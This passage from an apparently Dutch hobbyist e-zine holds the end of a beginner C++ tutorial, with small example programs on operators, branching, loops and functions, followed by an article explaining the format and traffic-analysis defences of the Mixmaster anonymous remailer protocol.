10. cout << "Het eerste getal: ";
11. cin >> getal1; // wijst ingevoerde waarde toe aan getal1
12.
13. cout << "Het tweede getal: ";
14. cin >> getal2; // wijst ingevoerde waarde toe aan getal2
15.
16. uitkomst = getal1 + getal2;
17. cout << getal1 << " + " << getal2 << " = " << uitkomst;
18.
19. cin.get();
20. }
Ik zal de nieuwe delen van dit programma maar even regel voor regel uitleggen:
Regel 6, 7 en 8: In deze regels worden integer variabelen gedeclareerd, oftewel,
er wordt een stukje geheugen gereserveerd voor het opslaan van een geheel getal.
Je zou deze drie declaraties ook op één regel kunnen zetten:
int getal1, getal2, uitkomst;
Regel 11 en 14: Hier wordt de ingetikte waarde toegewezen aan de variabele, in
regel 11 is dat getal1 en in regel 14 getal2.
Regel 16: Op deze regel wordt getal1 bij getal2 opgeteld, de uitkomst wordt
opgeslagen in de variabele "uitkomst".
De rest ben je ook al tegengekomen in het eerste programma, en dit zal ik dus
ook niet uitleggen.
Als je decimale getallen wilt gebruiken ben je een ander type variabele nodig,
hiervoor kun je zowel een float als een double gebruiken. Beide types hebben een
gigantisch bereik en je zult dus niet snel meemaken dat de variabele te klein is
voor de waarde.
Om de float wat duidelijker te maken gaan we een euro-omrekener maken, hiervoor
zijn we ook nog de header iomanip.h(Input Output Manipulator) nodig, om de
precisie van het getal aangeven.
Ook gaan we gebruik maken van een constante, dit is gewoon een variabele die je
niet kunt aanpassen. Constanten zijn erg handig bij de waarde van valuta, omdat
je dan niet overal in je programma de waarde hoeft te veranderen als de waarde
van de munt zou veranderen, maar alleen bij de declaratie van de constante. Een
constante declareer je net als een gewone variabele, maar je moet hem ook meteen
initialiseren(een waarde eraan toewijzen).
1. // euro_omreken.cpp, programma om van euro's naar guldens om te rekenen
2. #include <iostream.h>
3. #include <iomanip.h>
4.
5. void main()
6. {
7. float gulden, euro;
8. const float WAARDE_EURO = 2.20371; // het is gebruikelijk de naam van een
constante in hoofdletters te schrijven
9.
cout << "Bedrag in euro's:";
11. cin >> euro;
12. cout << setiosflags( ios :: showpoint | ios :: fixed );
13. cout << setprecision( 2 );
14. gulden = euro * WAARDE_EURO;
15. cout << euro << " euro is omgerekend " << gulden << " gulden." << endl;
16.
17. cin.get();
18. }
Het nieuwe aan dit programmaatje is natuurlijk het gebruik van de constante, dat
heb ik voor het programma al uitgelegd en dat doe ik dus niet weer. Het andere
nieuwe is natuurlijk het gebruik het type float, dit is vrij simpel zoals je
ziet. Met 'setprecision( 2 );' wordt de precisie van de uitvoer ingesteld op 2
getallen achter de komma. Omdat euro en WAARDE_EURO beide van hetzelfde type
zijn wordt de uitkomst ook automatisch een waarde van het type float, en hoef je
hem dus niet te veranderen voordat hij in gulden past.
Zoals je ziet wordt er om het bedrag in guldens te krijgen gebruik gemaakt van
de rekenkundige operator *, deze operator gebruik je om getallen met elkaar te
vermenigvuldigen. Er zijn vanzelfsprekend nog meer rekenkundige operatoren, de
meest gebruikten:
+: om op te tellen
-: om af te trekken
/: om te delen
*: om te vermenigvuldigen
%: om de rest van de deling te berekenen
Logische en relationele operatoren
Als we het dan toch over operatoren hebben, laten we dan ook maar meteen de
logische operatoren en relationele operatorn behandelen, deze worden namelijk
veel gebruikt in beslissingsstructuren, waarover het stuk hieronder gaat.
Allereerst maar eens logische operatoren, de meest gebruikten:
&&: and, geeft de waarde true als de voorwaarden links en rechts ervan beide
waar zijn, bijvoorbeeld:
if( getal > 1.0 && getal < 10.0 )
De > en < worden straks uitgelegd, net als de 'if' structuur. Deze test geeft
alleen de waarde true(waar) terug als de variabele(in dit geval een float) hoger
is als 1.0 en lager is als 10.0.
||: or, geeft de waarde true als één van beide voorwaarden waar is, voorbeeld:
if( letter == 'j' || letter == 'n' )
De '==' en 'if' worden straks uitgelegd. Deze test geeft de waarde true terug
als de char "letter" de waarde "j", of de waarde n heeft.
!: not, deze operator werkt iets anders als het voorgaande:
if( !( letter == 'j' ) )
Deze test geeft de waarde true als de variabele char NIET de waarde "j" heeft,
hij keert de waarde dus om. Als letter dus "f" als waarde heeft, zou letter ==
'j' de waarde false geven, ! keert dit om naar true.
Relationele operatoren:
==: is gelijk aan, voorbeeld:
if( getal == 25 )
Vergelijkt getal met 25, als ze gelijk zijn geeft dit de waarde true.
!=: is niet gelijk aan:
if( getal != 25 )
Eigenlijk het omgekeerde van ==, dit geeft de waarde true als getal niet gelijk
is aan 25.
>: is hoger dan
<: is lager dan
<=: is lager of gelijk aan
=>: is hoger of gelijk aan
Voorbeeld:
if( getal < 25 )
Geeft true als de waarde van "getal" lager is als 25.
if( getal > 25 )
Geeft true als de waarde van "getal" hoger is als 25.
if( getal <= 25 )
Geeft true als de waarde van "getal" lager of gelijk aan 25 is.
if( getal >= 25 )
Geeft true als de waarde van "getal" hoger of gelijk aan 25 is.
Beslissingsstructuren
Zoals de naam al zegt zijn dit structuren om iets te beslissen, 'wat dan?', nou
een voorbeeld. Je hebt een programma geschreven dat vraagt om een cijfer voor
een examen, als dit cijfer hoger is dan een 5.4, en dus een voldoende is, moet
er 'Gefeliciteerd, je bent geslaagd!' op het scherm worden afgedrukt. Als het
getal echter lager is dan een 5.5 is het onvoldoende en moet er dus iets worden
afgedrukt als 'Jammer, volgende keer beter'.
Omdat je dit niet op een andere manier kunt doen en aangezien
beslissingsstructuren(wat een woord) heel veel gebruikt worden, zal ik het even
kort toelichten.
Er zijn twee soorten beslissingsstructuren: het if en het switch statement. Het
if statement dient vooral om uit twee mogelijkheden te kiezen en op grond
daarvan een aantal opdrachten uit te voeren. Het switch statement kan echter
meerdere gevallen van elkaar onderscheiden. Een voorbeeldje:
1. // cijfer.cpp, programma om te kijken of het ingevoerde cijfer voldoende is
2. #include <iostream.h>
3.
4. void main()
5. {
6. float cijfer;
7.
8. cout << "Wat was het cijfer?";
9. cin >> cijfer;
10.
11. if( cijfer >= 5.5 ) cout << "Dat is een voldoende" << endl;
12. else cout << "Helaas, dat is geen voldoende" << endl;
13.
14. cin.get();
15. cin.get();
16. }
Is allemaal vrij duidelijk lijkt me, maar voor als je het niet begrijpt: als het
ingetikte cijfer hoger of gelijk aan 5.5 is, dan wordt er 'Dat is een voldoende'
afgedrukt, is dit echter niet het geval, dan wordt er 'Helaas, dat is geen
voldoende' afgedrukt.
Dit is natuurlijk wel leuk, maar als je bijvoorbeeld op grond van elk getal een
andere boodschap wilt laten afdrukken, ben je dus een ander statement nodig,
hier kom het switch statement om de hoek kijken. Eerst zal ik even een uitleg
over het switch statement geven, en daarna de source van het zojuist beschreven
programma.
Het switch statement kan zoals ik al eerder verteld heb meerdere gevallen van
elkaar onderscheiden als het if statement, je kunt bij een switch statement
echter alleen integerwaarden met elkaar vergelijken, dus geen gebroken getallen
zoals bijvoorbeeld 3.14. Na elke mogelijkheid gebruik je 'break;' om de
beslissingsstructuur te verlaten. Je kunt bij een switch statement ook een
'default' opdracht gebruiken, voor het geval geen van de waardes overeenkomt met
de waarde van de variabele.
Dan nu een voorbeeld:
1. // cijfer2.cpp, programma om op grond van getal boodschap weer te geven
2. #include <iostream.h>
3.
4. void main()
5. {
6. int cijfer;
7.
8. cout << "Wat was het cijfer(alleen hele getallen):";
9. cin >> cijfer;
10.
11. switch( cijfer )
12. {
13. case 10: cout << "Uitmuntend" << endl;
14. break;
15. case 9: cout << "Zeer goed" << endl;
16. break;
17. case 8: cout << "Goed" << endl;
18. break;
19. case 7: cout << "Ruim voldoende" << endl;
20. break;
21. case 6: cout << "Voldoende" << endl;
22. break;
23. case 5: cout << "Net geen voldoende" << endl;
24. break;
25. case 4: cout << "Onvoldoende" << endl;
26. break;
27. case 3: cout << "Zeer onvoldoende" << endl;
28. break;
29. case 2: cout << "Slecht" << endl;
30. break;
31. case 1: cout << "Zeer slecht" << endl;
32. break;
33. default: cout << "Ongeldig cijfer" << endl;
34. }
35.
36. cin.get();
37. cin.get();
38. }
In de regels 14, 16, 18, 20, 22, 24, 26, 28, 30 en 32 wordt het break statement
gebruikt, om de beslissingsstructuur te verlaten. In regel 33 zie je het default
statement, als er dus geen geheel getal is ingevoerd, of het ingevoerde getal is
te groot, dan worden de opdrachten achter default uigevoerd.
Met het switch statement kun je ook chars van elkaar onderscheiden, dit komt
omdat chars worden opgeslagen onder hun ASCII code, op deze manier zou je dus
een simpele rekenmachine kunnen maken:
1. // rekenmachine.cpp, programma om simpele berekening uit te voeren
2. #include <iostream.h>
3.
4. void main()
5. {
6. float get1, get2;
7. char ch;
8.
9. cout << "Voer de berekening in: ";
10. cin >> get1 >> ch >> get2;
11.
12. switch( ch )
13. {
14. case '+': cout << get1 << " + " <<
15. get2 << " = " << (get1 + get2);
16. break;
17. case '-': cout << get1 << " - " <<
18. get2 << " = " << (get1 - get2 );
19. break;
20. case '*': cout << get1 << " * " <<
21. get2 << " = " << (get1 * get2 );
22. break;
23. case '/': cout << get1 << " / " <<
24. get2 << " = " << (get1 / get2 );
25. break;
26. case '%': cout << get1 << " % " <<
27. get2 << " = " << ( int( get1 ) % int( get2 ) );
28. break;
29. default : cout << "Onjuiste invoer";
30. }
31.
32. cin.get();
33. cin.get();
34. }
Simpel, of niet dan? In regel 27 worden get1 en get2 omgezet naar integers,
omdat ze anders niet gebruikt kunnen worden om de rest van de deling uit te
rekenen. Verder is alles al eens eerder uitgelegd.
Loops
Een loop is een blok code met één of meerdere opdrachten die uitgevoerd worden
zolang de voorwaarde die wordt meegegeven waar is. Er zijn meerdere soorten
loops, hier een paar voorbeelden:
for( int i = 0; i <= 100; i++ )
{
cout << i << endl;
}
Dit is een for-loop, eerst wordt in de loop zelf een nieuwe variabele
gedeclareerd, deze variabele krijgt de waarde 0, zolang als de waarde van deze
variabele lager of gelijk aan 100 is wordt er één bij opgeteld, en de opdracht
tussen de { en } uitgevoerd. Eigenlijk zou je deze loop dus zo kunnen lezen:
for( nieuwe variabele krijgt waarde 0; zolang als de variabele lager of gelijk
aan 100 is; tel je er één bij op )
Het er één bij optellen wordt gedaan door i++, hierdoor wordt i met één
verhoogd. Misschien had je het al door, maar hier is de naam C++ dus ook van
afgeleid, ++ staat voor 'iets toevoegen aan', en C++ is ook een toevoeging /
verbetering van C.
Je zou dit ook met een andere soort loop kunnen doen:
while( i <= 100 )
{
cout << i << endl;
i++;
}
Dit werkt dus eigenlijk hetzelfde, alleen tel je nu één op bij de waarde van i
in de body(vanaf { tot }) van de loop.
Nog een manier:
do {
cout << i << endl;
i++;
} while( i <= 100 );
Het verschil tussen de drie manieren is dat bij het laatste voorbeeld de body
van de loop minstens één keer wordt doorlopen, omdat de controle pas daarna
plaatsvindt.
Een for- of een while-loop zit er dus schematisch zo uit:
[controle gedeelte]
{
// opdrachten
}
Een do-loop:
do
{
// opdrachten
} [controle gedeelte]
Om even het nut van de loops aan te geven zal ik een aantal voorbeelden geven
met daarin loops.
De hele ASCII tabel op het scherm afdrukken, dit kan met alle drie de soorten
loops:
1. // ASCII_for.cpp, geeft alle ASCII tekens weer d.m.v. for-loop
2. #include <iostream.h>
3. #include <iomanip.h>
4.
5. void main()
6. {
7. int i = 0;
8. char ch;
9.
10. for( i = 1; i <= 255; i++ )
11. {
12. ch = i;
13. cout << setw( 4 ) << i <<
14. ": " << setw( 2 ) << ch;
15.
16. if( !( i % 11 ) ) cout << endl;
17. }
18.
19. cin.get();
20. }
1. // ASCII_while.cpp, geeft alle ASCII tekens weer d.m.v. while-loop
2. #include <iostream.h>
3. #include <iomanip.h>
4.
5. void main()
6. {
7. int i = 0;
8. char ch;
9.
10. while( i <= 255 )
11. {
12. ch = i;
13. cout << setw( 4 ) << i <<
14. ": " << setw( 2 ) << ch;
15.
16. if( !( i % 11 ) ) cout << endl;
17. i++;
18. }
19.
20. cin.get();
21. }
1. // ASCII_do.cpp, geeft alle ASCII tekens weer d.m.v. do-loop
2. #include <iostream.h>
3. #include <iomanip.h>
4.
5. void main()
6. {
7. int i = 0;
8. char ch;
9.
10. do
11. {
12. ch = i;
13. cout << setw( 4 ) << i <<
14. ": " << setw( 2 ) << ch;
15.
16. if( !( i % 11 ) ) cout << endl;
17. i++;
18. } while( i <= 255 );
19.
20. cin.get();
21. }
Alle drie de bovenstaande manieren hebben hetzelfde resultaat, ze drukken alle
tekens in de ASCII tabel af. Nieuw in dit voorbeeld is setw(), hiermee kun je
aangeven hoeveel ruimte het volgende argument van de functie cout moet innemen.
Als dat argument niet zoveel tekens lang is als tussen de ( en ) achter setw is
aangegeven, dan wordt de ongebruikte ruimte opgevuld met spaties. Om deze
functie te kunnen gebruiken moet je wel iomanip.h includen in je programma.
De for- en de while-loop lijken erg op elkaar, met een do-loop kun je ook
hetzelfde resultaat bereiken, maar met de do-loop kun je ook dingen doen die je
met een for- of een while-loop niet kunt. Hieronder een voorbeeld waarmee je de
gebruiker de keuze geeft of het programma moet stoppen of niet:
1. // gemiddelde.cpp, rekent gemiddelde van ingevoerde cijfers uit
2. #include <iostream.h>
3. #include <iomanip.h>
4.
5. void main()
6. {
7. float cijfer;
8. double som = 0.0;
9. int i = 0;
10.
11. do
12. {
13. cout << "Voer een cijfer in(0 of te stoppen): ";
14. cin >> cijfer;
15. if( cijfer != 0.0 )
16. {
17. som += cijfer;
18. i++;
19. }
20. } while( cijfer != 0.0 );
21.
22. cout << setiosflags( ios :: showpoint | ios :: fixed );
23. cout << setprecision( 2 );
24. cout << "Je hebt " << i << " cijfers ingevoerd, het gemiddelde is " <<
25. float( som / i );
26.
27. cin.get();
28. cin.get();
29. }
In dit voorbeeld wordt dus om een cijfer gevraagd zolang als het ingevoerde
cijfer anders is als 0.0(dus ook als er 0 wordt ingevoerd). In regel 22 wordt
aangegeven dat er een punt moet worden weergegeven, als je dit niet doet dan kan
het zijn dat de uitkomst in wetenschappelijke notatie op het scherm wordt
afgedrukt en dat is nogal onduidelijk.
Functies
Soms heb je te maken met een lastig, uitgebreid probleem, je kunt dat probleem
dan onderverdelen in kleine deelprobleempjes, zodat het overzichtelijker is, dit
doe je met functies. Het voordeel van een functie is dat je de code erin maar
één keer hoeft te schrijven, daarna kun je de functie steeds weer aanroepen.
Er zijn meerdere "soorten" functies, namelijk functies die een waarde
teruggeven, en functies die dat niet doen en bijvoorbeeld gewoon iets op het
scherm afdrukken. Laten we eerst maar eens een functie schrijven die een
vierkant van 10 'x'en op het scherm afdrukt, dit doen we met de functie
"vierkant", waarin we een aantal loops zetten. Om een functie te kunnen
aanroepen moeten we aan de compiler duidelijk maken dat we de functie willen
gebruiken, net als bij een variabele, die ook eerst gedeclareerd moet worden.
Een functie declareren doe je door een "prototype" voor main() te plaatsen, of
door de functie boven main() te zetten. Bij grote programma's is het handig om
main() bovenaan te de source te houden, zodat hij makkelijk weer te vinden is.
Dus zal ik gebruik maken van een prototype, zo ziet het prototype van de functie
"vierkant" eruit:
void vierkant();
Hiermee "declareer" je de functie als het ware, zodat je hem later kunt
gebruiken, de functie vierkant ziet er zo uit:
1. void vierkant()
2. {
3. for( int i = 0; i <= 10; i++ ) cout << "x";
4. cout << endl;
5.
6. for( int j = 0; j <= 8; j++ )
7. {
8. cout << "x";
9. for( int k = 0; k <= 8; k++ ) cout << " ";
10. cout << "x" << endl;
11. }
12.
13. for( int l = 0; l <= 10; l++ ) cout << "x";
14. cout << endl;
15. }
Met vier loops drukken we een vierkant op het scherm af, je ziet dat we twee
keer for( int i = 0; i <= 10; i++ ) cout << "x"; gebruiken, om de boven- en de
onderkant van het vierkant te maken. Omdat functies er zijn om programma's
kleiner en overzichtelijker te maken, zouden we deze regel ook in een functie
kunnen zetten:
1. void lijn()
2. {
3. for( int i = 0; i <= 10; i++ ) cout << "x";
4. cout << endl;
5. }
De functie "vierkant" gaat er nu ook anders uitzien:
1. void vierkant()
2. {
3. lijn();
4. for( int j = 0; j <= 8; j++ )
5. {
6. cout << "x";
7. for( int k = 0; k <= 8; k++ ) cout << " ";
8. cout << "x" << endl;
9. }
10. lijn();
11. }
Voor de grootte van het bestand maakt deze verandering niet zo heel veel uit,
maar voor de overzichtelijkheid is het wel degelijk een vooruitgang. Vooral
wanneer je grotere programma's gaat schrijven van soms honderden regels kan het
erg veel schelen.
Het nadeel van de functie "vierkant"(maar ook van de functie "lijn") is dat je
niet aan kunt geven hoeveel 'x'en het vierkant breed moet zijn, dit kan wel in
C++, namelijk met argumenten. Argumenten zijn variabelen die je doorgeeft aan
een functie, en die in de functie gebruikt kunnen worden. Dit is vooral handig
omdat de meeste variabelen alleen geldig zijn in de functie waarin je ze
declareert. Je zou dan allemaal globale variabelen kunnen gebruiken(variabelen
die je boven aan je source declareert en die in het hele programma gebruikt
kunnen worden), maar dit kan verwarrend zijn, als je een variabele in een
functie dezelfde naam geeft.
Laten we maar eens een programma schrijven waarin gevraagd wordt om de
breedte(en dus ook de hoogte) van het vierkant:
1. #include <iostream.h>
2.
3. void vierkant( int hoogte );
4. void lijn( int breedte );
5.
6. void main()
7. {
8. int aantal;
9.
10. cout << "Hoe breed moet het vierkant worden? ";
11. cin >> aantal;
12.
13. vierkant( aantal );
14.
15. cin.get();
16. cin.get();
17. }
18.
19. void lijn( int breedte )
20. {
21. for( int i = 0; i <= breedte; i++ ) cout << "x";
22. cout << endl;
23. }
24.
25. void vierkant( int hoogte )
26. {
27. lijn( hoogte );
28. for( int j = 0; j <= ( hoogte - 2 ); j++ )
29. {
30. cout << "x";
31. for( int k = 0; k <= ( hoogte - 2 ); k++ ) cout << " ";
32. cout << "x" << endl;
33. }
34. lijn( hoogte );
35. }
Let wel even op dat variabelen van hetzelfde type moeten zijn als de argumenten
van een functie, ze worden namelijk niet automatisch omgezet naar het goede
type. Als je een float wilt omzetten naar een integer om daarmee een functie aan
te roepen dan doe je dat zo:
functie( int( getal ) );
In dit voorbeeld is getal dus een float.
Je kunt natuurlijk ook andere typen variabelen doorgeven aan functies, maar daar
is geen uitleg voor nodig lijkt me.
Dit was het dan voor nu, ik denk dat er nog wel vervolgen gaan komen op dit
artikel. Mocht je opmerkingen, tips, vragen of wat dan ook hebben na aanleiding
van dit artikel, mail ze dan naar carni4@dutchdevelopers.nl. Kijk wel eerst even
in de Help van je compiler, of zoek even zelf op forums en programmeersites, de
meeste antwoorden zijn wel ergens te vinden.
Ik hoop dat je wat aan dit artikel hebt gehad, ik hoop je de volgende keer weer
te zien bij het volgende artikel, probeer tot die tijd de dingen uit die ik hier
heb beschreven, voor de rest, happy coding!
Bronnen
Aan de slag met C++, G. Laan, hieruit heb ik onder andere het bereik van een
aantal types variabelen gehaald omdat ik dat niet uit mijn hoofd weet.
CArNi4
-------------------------------------------------------
05. Mixmaster protocol
-------------------------------------------------------
Eerdere edities van dit magazine zijn al ingegaan op wat cryptografie precies
inhoudt. Dit artikel gaat zich voornamelijk bezighouden met het de problemen bij
het uitwisselen van versleutelde berichten. Voor de rest van dit artikel dient
de lezer aan te nemen dat de connectie naar het Internet gecompromitteerd is en
dat alle uitgaande berichten onderschept worden.
Het mixmaster protocol anonimiseert het bericht. De reden hiervoor is om de
verzender te beschermen. Standaard PGP encryptie beschermt het bericht alleen
voor derden (of integreert / authenticeert het bericht).
Als de werkelijke message ingepakt wordt in een envelop, deze message als
bericht geplakt wordt aan een andere email die gestuurd wordt naar een
mixmaster, dan zal de mixmaster zorgen dat het uiteindelijke bericht aankomt bij
de ontvanger. Het is nodig om wat meer mixmasters te betrekken (chaining), zodat
de anonimiteit niet afhangt van een enkele node die nog wel eens
gecompromitteerd kan zijn.
Een anonimiserende mailserver als blackbox getekend ziet het er zo uit:
--------------
in-msg ----> | mailserver | -----> uit-msg
'timestamp 1' -------------- 'timestamp 2'
Nou zijn er een aantal kenmerken waaruit af te leiden is wie met wie
gecommuniceerd heeft:
1. Tijd van versturen en tijd van ontvangst.
2. Grootte van het bericht. Als het gebruikte algoritme bekend is kun je een
approximatie maken van de
resulterende grootte in de emailbody.
3. Analyse van woordgebruik / zinsopbouw en die herleiden naar bekende personen.
4. Grootte van traffic-stream op de mixmaster.
5. Replay attacks.
6. Suppression attacks.
Punt 1 uitgelegd:
In het bovenstaande plaatje is het duidelijk dat timestamp 1 niet ver in het
verleden zal liggen van timestamp 2. Stel dat de input EN outputstream van de
mixmaster bekeken wordt, dan ontstaat het probleem dat elke ingaande message
regelrecht eruit komt, waarin de headers uitgepakt zijn en vervolgens is het nog
steeds mogelijk om met enige zekerheid te zeggen wie het bericht verstuurd kan
hebben. Er zijn wat ideeën geweest om een delay in te bouwen plus b.v. het
herordenen van berichten in de mailserver zelf, maar die zijn niet zo
betrouwbaar als ze klinken.
Punt 2 uitgelegd:
Grootte van out-msg = grootte van in-msg + een aantal bytes (de
envelop+headers).
Dit betekend dat elk bericht wat verstuurd wordt identiek in grootte moet zijn
om niet te onderscheiden te zijn van anderen. Hiervoor wordt vaak padding
gebruikt. Op deze manier is het moeilijker om het bericht op grootte van het
bericht terug te traceren.
Punt 4 uitgelegd:
Als het mixmaster netwerk volledig ongebruikt is dan is het tracen van een enkel
bericht niet zo moeilijk. Dit in tegenstelling tot een redelijk gebruikt netwerk
waardoor het heel moeilijk wordt om het bericht in de stroom te onderscheiden.
Punt 5 uitgelegd:
Een replay attack in cryptografie is in principe het opnieuw in de stroom
brengen van een al verstuurd bericht of pakket. Zou het bijvoorbeeld mogelijk
zijn om een emailbericht vanaf de verstuurder volledig op te vangen en dan een
enorme flood van dezelfde messages door de mixmaster chain te gooien, dan wordt
de route duidelijk gemaakt van deze berichten en de ontvanger krijgt dan deze
mailbom voor zijn kiezen. Voor de attacker is dit niet belangrijk, die wil enkel
weten 'wie-met-wie' communiceert. Om dit tegen te gaan is het noodzakelijk om
random ID's te gebruiken in de message binnen de envelop zelf (zodat de attacker
het random ID niet aan kan passen). Als de mixmaster het ID registreert en het
opnieuw ziet, moet deze het bericht dan droppen en verdergaan.
Punt 6 uitgelegd:
Als er een grote hoeveelheid messages verstuurd worden en de attacker heeft de
mogelijkheid om de in-msg's te onderdrukken, kan de attacker nagaan of een
zekere out-stream ook op hetzelfde moment ophoudt. Dit geeft ook een grote
zekerheid over 'wie-met-wie' communiceert.
Een probleem voor anonimizing servers is dat je nooit een reply-mail kan
ontvangen. Voor dit probleem kun je een alternatief gebruiken, genaamd 'nym-
servers' (ook geïmplementeerd voor mixmasters). Het voordeel is dat je een
pseudoniem krijgt op Internet, maar het zal duidelijk zijn dat door extensief
gebruik het heel makkelijk wordt om de werkelijke identiteit van iemand te
achterhalen. Echter, voor tijdelijk gebruik of gebruik voor een enkele reeks
berichten kan het zeer bruikbaar zijn.
Hoe ziet een mixmaster bericht eruit?
Als een mixmaster een bericht binnenkrijgt, ziet dat eruit als volgt:
::
Remailer-Type: Mixmaster 2.9b33
-----BEGIN REMAILER MESSAGE-----
20480
FsziI/RbmX4ju+KtQhVdJg==
27LSuawoe7bvikoNZH4crYCchS6TvDJ5VaKatlyM
QzMceBLRIQk3XmMGhJiaIyPI7fG3pmqkD9pUuUX6
<snip junk>
JmR09tGmxnJj/HG2xyhtp7RkJuMgN7GY+0rPV+IL
0/S9bPZO5trDgKZAR9wEgLKdz1hjFxQjbGjkF4qz
E5g/OBkS4vsHJIBR00RTEoo3pxI=
-----END REMAILER MESSAGE-----
20480 duidt op de lengte van het bericht. Zoals in deel 1 reeds gezegd is moeten
alle berichten precies hetzelfde van lengte zijn. Hiervoor is 20480 bytes
gekozen. Een totaal-bericht dat langer is wordt opgeknipt in delen van 10236
bytes en kan verstuurd worden door verschillende chains, mits de laatste mixer
in de chain dezelfde is. De reden hiervoor is natuurlijk dat anders de gedeeltes
niet meer samengebracht kunnen worden.
De eerste regel die korter is dan de andere regels is een message digest in
base64 formaat. Deze is 16 bytes lang (gedecodeerd) en is de digest over het
complete base64-decoded bericht. Dat wil zeggen dat de rest van de message eerst
base64-gedecodeerd wordt en daarna wordt de gestuurde digest vergeleken met de
geproduceerde digest over die message.
Zoals eerder vermeld is de werkelijke tekst (of data) in de message maar 10236
bytes lang. Dit heeft te maken met de informatie die nodig is voor de andere
mixers om de message door te sturen.
Als bovenstaand bericht gedecodeerd wordt bestaat die uit twee grove blokken van
10240 bytes. Het eerste blok zijn de headers voor de andere mixers (of dummy
headers met dummy data) en het andere blok bestaat uit 4 bytes (die de
_werkelijke_ lengte aangeven van het bericht), de werkelijke data en dummy data
die meegestuurd wordt om het bericht 10236 lang te maken.
Om het bovenstaande wat duidelijker te maken:
-----BEGIN REMAILER MESSAGE-----
20480
<message digest in base64>
<header1 (512 bytes)>
<header2 (512 bytes)>
..
..
<header20 (512 bytes)>
<4 bytes length in little-endian>
<body><random padding>
-----END REMAILER MESSAGE-----
Als we aannemen dat er 4 remailers gebruikt worden in de chain, bevatten headers
5-20 random data en header 4 bevat de informatie om de data in de body te
ontcijferen. In die body staat dan de uiteindelijk recipient van de email. Het
aantal mixers in de chain heeft dus invloed op het aantal werkelijke headers in
de message.
De header:
Een header is 512 bytes. Er staat het volgende in. Het nummer tussen de haken
geeft het aantal bytes weer.
public key id [16], dit is de public key van de remailer die het bericht
ontvangt. Als deze de public key niet kan herkennen, zal de message genegeerd
worden.
Lengte van RSA-versleutelde data [1]. Dit is nu 128.
RSA-versleutelde sessie-sleutel (Triple-DES) [128]. Deze sessie-sleutel is een
Triple-DES sleutel (ook wel DESede genoemd of 3DES). Deze sleutel werd gebruikt
om het versleutelde header gedeelte te versleutelen. Dat gedeelte wordt later
beschreven. De RSA-versleuteling gebeurt door gebruik te maken van de publieke
RSA-sleutel van de mixmaster die het bericht ontvangt. Met andere woorden,
alleen die mixmaster zou de mogelijkheid hebben om de sessie-sleutel te
ontcijferen.
Initialisatie-vector [8]. Deze vector werd gebruikt voor de versleuteling met
3DES in het versleutelde header-gedeelte.
Versleutelde header gedeelte [328]. Dit gedeelte bevat belangrijke informatie
over de volgende stap in de chain en ook de sleutel die gebruikt werd voor
versleuteling van opvolgende headers en de body.
Padding [31]. random byte padding om de header 512 bytes te maken.
Versleutelde header-gedeelte:
Packet id [16]. Als er meerdere partials verstuurd worden omdat de totale
message langer is dan 10236, is dit een identifier voor de specifieke partial.
3DES key [24]. Deze 3DES key is gebruikt voor versleuteling van de opvolgende
headers en de body. Echter, de initialisatie-vector voor het 3DES-algoritme is
telkens anders en wordt ook meegestuurd in andere velden.
Packet type identifier [1]. Deze geeft het type message weer.
0 = intermediate hop (alleen doorsturen)
1 = final hop, complete message
2 = final hop, partial message
Packet information [depends]. Dit bevat initialisatie-vectoren voor
versleuteling van opvolgende headers en de body. In het geval van packettype 0
wordt hierin ook het emailadres van de volgende mixer gezet. In andere
packettypen staat hier een message ID. Dit wordt later beschreven in "packet
information".
Timestamp [7]. Dit zijn 4 ASCII nullen "0000", een 0x00 byte en 3 bytes die het
aantal dagen voorstelt sinds 1 jan, 1970. Van dit aantal dagen mag een random
integer getal van max. 3 afgetrokken worden.
Message digest [16]. Deze digest wordt berekend over de bovenstaande elementen
in dit versleutelde header-gedeelte, voordat dit header-gedeelte versleuteld
wordt.
random padding [depends]. vult dit gedeelte op tot 328 bytes.
Packet information:
De packet information hangt af van het type pakket wat verstuurd wordt.
packet type 0
19 init vectoren [152]. Dit zijn de initvectoren gebruikt
voor encryptie van opvolgende headers. b.v. initvector 1
van 8 bytes werd gebruikt voor encryptie van header 2.
initvector 19 werd gebruikt voor header 20 EN de body.
remailer address [80]. Dit is het email adres van de volgende
mixer.
packet type 1
message id [16]. Dit is een message id om te voorkomen dat een
afluisteraar nogmaals het pakket doorstuurt en daarmee hoopt te
kunnen zien naar wie een mixer het pakket gestuurd heeft. Dit
message id wordt dus opgeslagen door de mixer en als dit tweemaal
voorkomt, wordt het geweigerd.
init vector [8]. Deze vector werd gebruikt voor de body.
opvolgende headers worden door packet type 1 genegeerd.
(let op!) er zijn ALTIJD 20 headers in de message, maar
die hoeven niet gebruikte headers te zijn.
packet type 2
chunk number [1]. Het nummer van deze partial.
number of chunks [1]. Het aantal partials.
message id [16]. Zie boven.
init vector [8]. zie boven.
Om nu het geheel wat duidelijker te maken alles nog eens op een rijtje voor
packet type 0:
----------------------
public key id [16]
length enc. data [1]
RSA enc. sess key [128]
init vector [8]
packet id [16]
3DES key [24]
packet type id [1]
19 init vectors [152]
remailer address [80]
timestamp [7]
message digest [16]
random padding [9]
padding [31]
----------------------
Het volgende gedeelte zal proberen uit te leggen wat met wat versleuteld wordt
en hoe het als geheel gaat werken. Voor 4 remailers:
1. Beginnen bij header 4, de laatste remailer, die de uiteindelijke body stuurt
naar de recipient...
2. buffer opbouwen van 10240 bytes en de opvolgende 19 headers initialiseren met
random bytes.
3. Sleutel opbouwen voor encryptie van body.
4. De body encrypten met de sleutel.
5. Encrypted header gedeelte bouwen, inpakken met een sessie-sleutel en deze
sessie sleutel encrypten met de public RSA-key van de mixer.
6. Header afbouwen en de volledige buffer (deze geldige header plus de rest van
de random data) kopieren naar een andere buffer.
7. Header 3 bouwen op dezelfde manier, maar omdat dit een packettype 0 is,
worden alle opvolgende headers versleuteld met de 3DES key en corresponderende
initvector (vector 1 van de 19 is voor header 2, vector 2 van de 19 is voor 3,
vector 19 is voor header 20 PLUS de body).
8. Buffer kopieren en door naar header 2 en verder naar header 1.
Om dit wat meer grafisch weer te geven:
iv2-1 is de initialisatie vector opgeslagen in header 2, vector nummer 1. iv2-2
is opgeslagen in header 2, iv nummer 2, enz...
key = 3DESkey.
1..4 zijn de header nummers.
header1 header2 header3 header4 random bytes in headers
iv3-1, key3 iv3-2,key3 iv3-.., key3
iv2-1, key2 iv2-2, key2 iv2-2,key3 iv2-.., key2
iv1-1,key1 iv1-2, key1 iv1-3, key1 iv1-2,key3 iv1-.., key1
Voor de encryptie van de body geldt ongeveer hetzelfde, maar dan
body
iv4, key4
iv3-19, key3
iv2-19, key2
iv1-19, key1
